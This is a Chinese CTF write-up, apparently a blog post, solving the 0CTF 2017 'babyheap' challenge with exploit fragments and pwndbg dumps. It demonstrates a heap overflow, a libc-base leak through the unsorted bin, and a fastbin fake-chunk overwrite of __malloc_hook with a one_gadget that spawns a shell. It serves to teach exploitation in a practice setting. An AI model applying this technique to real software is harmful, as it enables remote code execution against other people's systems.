weixin_30512043

0ctf2017 pwn babyheap

题目：http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html

0x00：运行程序

user@ubuntu:~/workspace/pwn$ ./0ctfbabyheap 
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: Alarm clock

0x01：IDA分析

1、Allocate函数：

这个函数通过calloc可以申请大小0x1000以内的内存。

看得出每次在最后会有一个类似的结构体如下：

struct heap
{
    signed int flag;　　　　//标记是否被分配
    signed int size;　　　　//请求申请的大小
    void* chunk_m;　　　　//chunk的mem值
}

2、Fill函数

在Fill这个函数中看到，并未检查请求填充数据的大小，大小由用户决定，存在堆溢出。

3、Free函数，释放对应Index的堆块

4、Dump函数，打印对应Index堆块里的内容

0x02：checksec

user@ubuntu:~/workspace/pwn$ file 0ctfbabyheap 
0ctfbabyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
user@ubuntu:~/workspace/pwn$ checksec 0ctfbabyheap 
[*] '/home/user/workspace/pwn/0ctfbabyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开。

由于保护全开，但是又可以任意长度堆溢出，所以可以泄漏libc的基地址，在malloc_hook处触发执行getshell。

0x03：泄漏libc基地址

原理：当small chunk被释放后，进入到unsorted bin。它的fd和bk指针会指向同一个地址(unsorted bin链表的头部)，这个地址相对main_arena + 0x58，而且main_arena又相对libc固定偏移（0x3c4b20），所以得到这个fd的值，然后减去0x58再减去main_arena相对于libc的固定偏移，即得到libc的基地址。

所以重点是能读到small chunk被释放后的fd指针的值。

alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
 
free(1)
free(2)
 
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
 
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
 
alloc(0x10)
alloc(0x10)
 
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)
 
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

1、释放index 1的堆

alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)

free(1)

==================================================

pwndbg> heap 
Top Chunk: 0x555555757110
Last Remainder: 0

0x555555757000 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757020 FASTBIN {　　　　　　 //free
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757040 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757060 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x91
}
0x555555757080 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x91, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x555555757110 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20ef1, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x555555757020 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

2、释放index 2的堆

free(2)

============================================

pwndbg> heap 
Top Chunk: 0x555555757110
Last Remainder: 0

0x555555757000 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757020 FASTBIN {　　　　　　//free
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757040 FASTBIN {　　　　　　//free
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x555555757020, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757060 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x91
}
0x555555757080 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x91, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x555555757110 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20ef1, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x555555757040 —▸ 0x555555757020 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

由上可以看出新释放的这个堆(index 2)插入到fastbin的头部，而前面被释放的这个堆(index 1)成为这个新释放的堆(index 2)的fd里的值。

3、通多堆溢出改变index 2 的fd的值，让他指向index 4这个堆

payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

堆的布局：

填充前：

pwndbg> x/32gx 0x555555757000
0x555555757000:    0x0000000000000000    0x0000000000000021
0x555555757010:    0x0000000000000000    0x0000000000000000
0x555555757020:    0x0000000000000000    0x0000000000000021
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000021
0x555555757050:    0x0000555555757020    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000021
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000091
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000000    0x0000000000000000
0x5555557570d0:    0x0000000000000000    0x0000000000000000
0x5555557570e0:    0x0000000000000000    0x0000000000000000
0x5555557570f0:    0x0000000000000000    0x0000000000000000

填充后：

pwndbg> x/32gx 0x555555757000
0x555555757000:    0x0000000000000000    0x0000000000000021
0x555555757010:    0x0000000000000000    0x0000000000000000
0x555555757020:    0x0000000000000000    0x0000000000000021
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000021
0x555555757050:    0x0000555555757080    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000021
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000091
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000000    0x0000000000000000
0x5555557570d0:    0x0000000000000000    0x0000000000000000
0x5555557570e0:    0x0000000000000000    0x0000000000000000
0x5555557570f0:    0x0000000000000000    0x0000000000000000

pwndbg> bins
fastbins
0x20: 0x555555757040 —▸ 0x555555757080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

4、改掉index 4这个堆的size域的值，以便接下来malloc到它的时候，能过malloc的检查机制。

malloc的安全检查：

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
    errstr = "malloc(): memory corruption (fast)";
errout:
    malloc_printerr (check_action, errstr, chunk2mem (victim), av);
    return NULL;
}

chunksize 的计算方法是 victim->size & ~(SIZE_BITS))

index 计算方法为 (size) >> (SIZE_SZ == 8 ? 4 : 3) - 2，SIZE_SZ 是8

意思就是在对应的fastbin_index上的这个chunk 的size域要和这个index相匹配。

即是：现在我们把它放到了0x20这个大小的fastbin上，要把它的size改成0x20才能正常calloc。（最开始的时候index 4的堆我们申请大小是0x80）

payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)

修改前：

pwndbg> x/32gx 0x555555757000
0x555555757000:    0x0000000000000000    0x0000000000000021
0x555555757010:    0x0000000000000000    0x0000000000000000
0x555555757020:    0x0000000000000000    0x0000000000000021
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000021
0x555555757050:    0x0000555555757080    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000021
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000091
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000000    0x0000000000000000
0x5555557570d0:    0x0000000000000000    0x0000000000000000
0x5555557570e0:    0x0000000000000000    0x0000000000000000
0x5555557570f0:    0x0000000000000000    0x0000000000000000

修改后：

pwndbg> x/32gx 0x555555757000
0x555555757000:    0x0000000000000000    0x0000000000000021
0x555555757010:    0x0000000000000000    0x0000000000000000
0x555555757020:    0x0000000000000000    0x0000000000000021
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000021
0x555555757050:    0x0000555555757080    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000021
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000021
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000000    0x0000000000000000
0x5555557570d0:    0x0000000000000000    0x0000000000000000
0x5555557570e0:    0x0000000000000000    0x0000000000000000
0x5555557570f0:    0x0000000000000000    0x0000000000000000

5、

alloc(0x10)
alloc(0x10)

5.1 再次alloc(0x10)

alloc(0x10)

====================================


pwndbg> bins
fastbins
0x20: 0x555555757080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins

因为fastbin是单链表结构，且采用FILO结构，所以现在重新alloc(0x20)时，index 1的chunk_m是最近被释放的fast chunk(0x555555757040)的mem (0x555555757050)

pwndbg> x/32gx 0x110c5115e010
0x110c5115e010:    0x0000000000000001    0x0000000000000010
0x110c5115e020:    0x0000555555757010    0x0000000000000001
0x110c5115e030:    0x0000000000000010    0x0000555555757050
0x110c5115e040:    0x0000000000000000    0x0000000000000000
0x110c5115e050:    0x0000000000000000    0x0000000000000001
0x110c5115e060:    0x0000000000000010    0x0000555555757070
0x110c5115e070:    0x0000000000000001    0x0000000000000080
0x110c5115e080:    0x0000555555757090    0x0000000000000000

6.2再再次alloc(0x10)

alloc(0x10)

====================================


pwndbg> heap 
Top Chunk: 0x555555757110
Last Remainder: 0

0x555555757000 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757020 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757040 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757060 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757080 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x5555557570a0 {
  prev_size = 0x0, 
  size = 0x0, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

pwndbg> x/32gx 0x110c5115e010 查看结构体内存
0x110c5115e010: 0x0000000000000001 0x0000000000000010
0x110c5115e020: 0x0000555555757010 0x0000000000000001
0x110c5115e030: 0x0000000000000010 0x0000555555757050
0x110c5115e040: 0x0000000000000001 0x0000000000000010
0x110c5115e050: 0x0000555555757090 0x0000000000000001
0x110c5115e060: 0x0000000000000010 0x0000555555757070
0x110c5115e070: 0x0000000000000001 0x0000000000000080
0x110c5115e080: 0x0000555555757090 0x0000000000000000
0x110c5115e090: 0x0000000000000000 0x0000000000000000
0x110c5115e0a0: 0x0000000000000000 0x0000000000000000
0x110c5115e0b0: 0x0000000000000000 0x0000000000000000
0x110c5115e0c0: 0x0000000000000000 0x0000000000000000
0x110c5115e0d0: 0x0000000000000000 0x0000000000000000
0x110c5115e0e0: 0x0000000000000000 0x0000000000000000
0x110c5115e0f0: 0x0000000000000000 0x0000000000000000
0x110c5115e100: 0x0000000000000000 0x0000000000000000

再再次alloc(0x10)后，index 2的堆块的地址就已经和index 4堆块的地址一样了。这里现在是chunk的mem处，等index 4被free后，这里就是fd 字段了，之后便能通过dump index 2来泄漏index 4的fd内容了。

7、将index 4的size字段改回去，让他以small chunk被free掉

payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)

7.1通过堆溢出来改变index 4的size字段：

填充前：

pwndbg> x/32gx 0x555555757000
0x555555757000:    0x0000000000000000    0x0000000000000021
0x555555757010:    0x0000000000000000    0x0000000000000000
0x555555757020:    0x0000000000000000    0x0000000000000021
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000021
0x555555757050:    0x0000000000000000    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000021
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000021
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000000    0x0000000000000000
0x5555557570d0:    0x0000000000000000    0x0000000000000000
0x5555557570e0:    0x0000000000000000    0x0000000000000000
0x5555557570f0:    0x0000000000000000    0x0000000000000000

填充后：

pwndbg> x/32gx 0x555555757000
0x555555757000:    0x0000000000000000    0x0000000000000021
0x555555757010:    0x0000000000000000    0x0000000000000000
0x555555757020:    0x0000000000000000    0x0000000000000021
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000021
0x555555757050:    0x0000000000000000    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000021
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000091
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000000    0x0000000000000000
0x5555557570d0:    0x0000000000000000    0x0000000000000000
0x5555557570e0:    0x0000000000000000    0x0000000000000000
0x5555557570f0:    0x0000000000000000    0x0000000000000000

pwndbg> heap
Top Chunk: 0x555555757110
Last Remainder: 0

0x555555757000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757040 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757060 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x91
}
0x555555757080 PREV_INUSE {
prev_size = 0x0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555757110 PREV_INUSE {
prev_size = 0x0,
size = 0x20ef1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

7.2 alloc(0x80) 再分配一个small chunk，这是为了，之后free index 4这个堆块的时候，不要被合并进top chunk 而把他放到unsorted bin中去、

这时如果把他free掉，他的fd指针会被设置为指向unsorted bin链表的头部。

pwndbg> heap 
Top Chunk: 0x5555557571a0
Last Remainder: 0

0x555555757000 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757020 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757040 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757060 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x91
}
0x555555757080 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x91, 
  fd = 0x7ffff7dd1b78 , 
  bk = 0x7ffff7dd1b78 , 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x555555757110 {
  prev_size = 0x90, 
  size = 0x90, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x5555557571a0 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20e61, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x555555757080 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty

现在被free掉的这个index 4的堆块的fd指针被设置为指向unsorted bin链表的头部，这个地址相对main_arena偏移0x58，且main_arena在libc中，相对位置固定，这样就能算出libc被加载的地址。

8、dump index 2的堆块读出fd的值

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

由6.2处已成功让index 2的已成功设置成index 4这个堆块，现在index 4被释放，这里是fd，里面存的是unsorted bin的链表的头部。把他dump出来再减去0x58再减去0x3C4B20

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ......0x555555757000     0x555555778000 rw-p    21000 0      [heap]
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    ......
pwndbg> p &main_arena
$30 = (struct malloc_state *) 0x7ffff7dd1b20 
pwndbg>

0x7ffff7dd1b20 - 0x7ffff7a0d000 = 0x3C4B20

0x04：getshell

这里可以用 __malloc_hook ，它是一个弱类型的函数指针变量，指向 void * function(size_t size, void * caller) ，当调用 malloc() 时，如果__malloc_hook不为空则调用指向的这个函数。所以这里我们传入一个 one-gadget。

one-gadget RCE 是在 libc 中存在的一些执行 execve('/bin/sh', NULL, NULL) 的片段。知道 libc 的版本，并且可以通过信息泄露得到 libc 的基地址，则可以通过控制EIP 执行该 gadget 来获得 shell。

alloc(0x60)
free(4)
 
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
 
alloc(0x60)
alloc(0x60)
 
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
 
alloc(255)

所以这里关键在于怎么把gadget写到__malloc_hook处。

__malloc_hook相对libc偏移0x3c4b10 (__malloc_hook在main_arena上面)

user@ubuntu:/lib/x86_64-linux-gnu$ readelf -s libc.so.6 | grep __malloc_hook
  1088: 00000000003c4b10     8 OBJECT  WEAK   DEFAULT   33 __malloc_hook@@GLIBC_2.2.5

pwndbg> x/10gx 0x7FFFF7DD1B00
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20 : 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30 : 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 : 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x7FFFF7DD1B00

这里需要地址偏移，构造一个fake chunk，让其size域在0x10~0x80里，构造一个fastchunk,上面看出刚好有7f，合适的偏移让其在size域

wndbg> x/10gx 0x7FFFF7DD1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 　　　　　　　　　　　　 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d:　　　　　　　　　　　　 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d : 　　 0x0000000000000000 0x0000000000000000

0x7ffff7dd1aed - 0x7ffff7a0d000 = 0x3C4AED

还是利用fastbin单链表且FILO的机制进行设置

1、

alloc(0x60)
free(4)

alloc(0x60)   #Index 4

============================================

pwndbg> heap
Top Chunk: 0x5555557571a0
Last Remainder: 0x5555557570f0

0x555555757000 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757020 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757040 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757060 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x71
}
0x555555757080 FASTBIN {
  prev_size = 0x0, 
  size = 0x71, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x5555557570f0 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x7ffff7dd1b78 , 
  bk = 0x7ffff7dd1b78 , 
  fd_nextsize = 0x20, 
  bk_nextsize = 0x90
}
0x555555757110 {
  prev_size = 0x20, 
  size = 0x90, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x5555557571a0 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20e61, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> bins
A syntax error in expression, near `.'.
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557570f0 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty

free(4)

=======================================================

pwndbg> heap
Top Chunk: 0x5555557571a0
Last Remainder: 0x5555557570f0

0x555555757000 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757020 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757040 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757060 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x71
}
0x555555757080 FASTBIN {
  prev_size = 0x0, 
  size = 0x71, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x5555557570f0 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x7ffff7dd1b78 , 
  bk = 0x7ffff7dd1b78 , 
  fd_nextsize = 0x20, 
  bk_nextsize = 0x90
}
0x555555757110 {
  prev_size = 0x20, 
  size = 0x90, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x5555557571a0 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20e61, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757080 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557570f0 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty

2、

payload = p64(libc_base+0x3c4aed)
fill(2, payload)

通过index 2堆块的fd，改写index 4的成在前面找好的那个偏移地址(这个地址相对于libc基地址偏移0x3C4AED)

填充后：

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757080 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557570f0 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty
pwndbg> p main_arena

这样我们第二次malloc 的0x70大小（这是包括了chunk header之后的大小，malloc()实际参数应该是0x60）的堆块是的地址是0x7ffff7dd1aed

3、获得指向__malloc_hook的地址

alloc(0x60)
alloc(0x60)

===========================================

pwndbg> x/32gx 0x110c5115e010
0x110c5115e010: 0x0000000000000001 0x0000000000000010
0x110c5115e020: 0x0000555555757010 0x0000000000000001
0x110c5115e030: 0x0000000000000010 0x0000555555757050
0x110c5115e040: 0x0000000000000001 0x0000000000000010
0x110c5115e050: 0x0000555555757090 0x0000000000000001
0x110c5115e060: 0x0000000000000010 0x0000555555757070
0x110c5115e070: 0x0000000000000001 0x0000000000000060
0x110c5115e080: 0x0000555555757090 0x0000000000000001
0x110c5115e090: 0x0000000000000080 0x0000555555757120
0x110c5115e0a0: 0x0000000000000001 0x0000000000000060
0x110c5115e0b0: 0x00007ffff7dd1afd 0x0000000000000000
0x110c5115e0c0: 0x0000000000000000 0x0000000000000000
0x110c5115e0d0: 0x0000000000000000 0x0000000000000000
0x110c5115e0e0: 0x0000000000000000 0x0000000000000000
0x110c5115e0f0: 0x0000000000000000 0x0000000000000000
0x110c5115e100: 0x0000000000000000 0x0000000000000000

4、改写_malloc_hook处的内容，让其指向one-gadget(需要多试几下)

payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)

可以使用工具 one_gadget 很方便地查找 one-gadget。

user@ubuntu:~/workspace/pwn$ one_gadget -f /lib/x86_64-linux-gnu/libc.so.6
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL

gadget要多试几下

填充前：

pwndbg> x/10gx 0x00007ffff7dd1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>:    0xfff7dd0260000000    0x000000000000007f
0x7ffff7dd1afd:    　　　　　　　　　　　　  0xfff7a92e20000000    0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>:       0x000000000000007f    0x0000000000000000
0x7ffff7dd1b1d:    　　　　　　　　　　　　  0x0000000000000000    0x0000000000000000
0x7ffff7dd1b2d :    　　   0x0000000000000000    0x0000000000000000
pwndbg>

填充后：

pwndbg> x/32gx 0x7ffff7dd1b00
0x7ffff7dd1b00 <__memalign_hook>:    0x0000000000000000    0x0000000000000000
0x7ffff7dd1b10 <__malloc_hook>:    0x00007ffff7a5226a    0x0000000000000000
0x7ffff7dd1b20 :    0x0000000000000000    0x0000000000000000
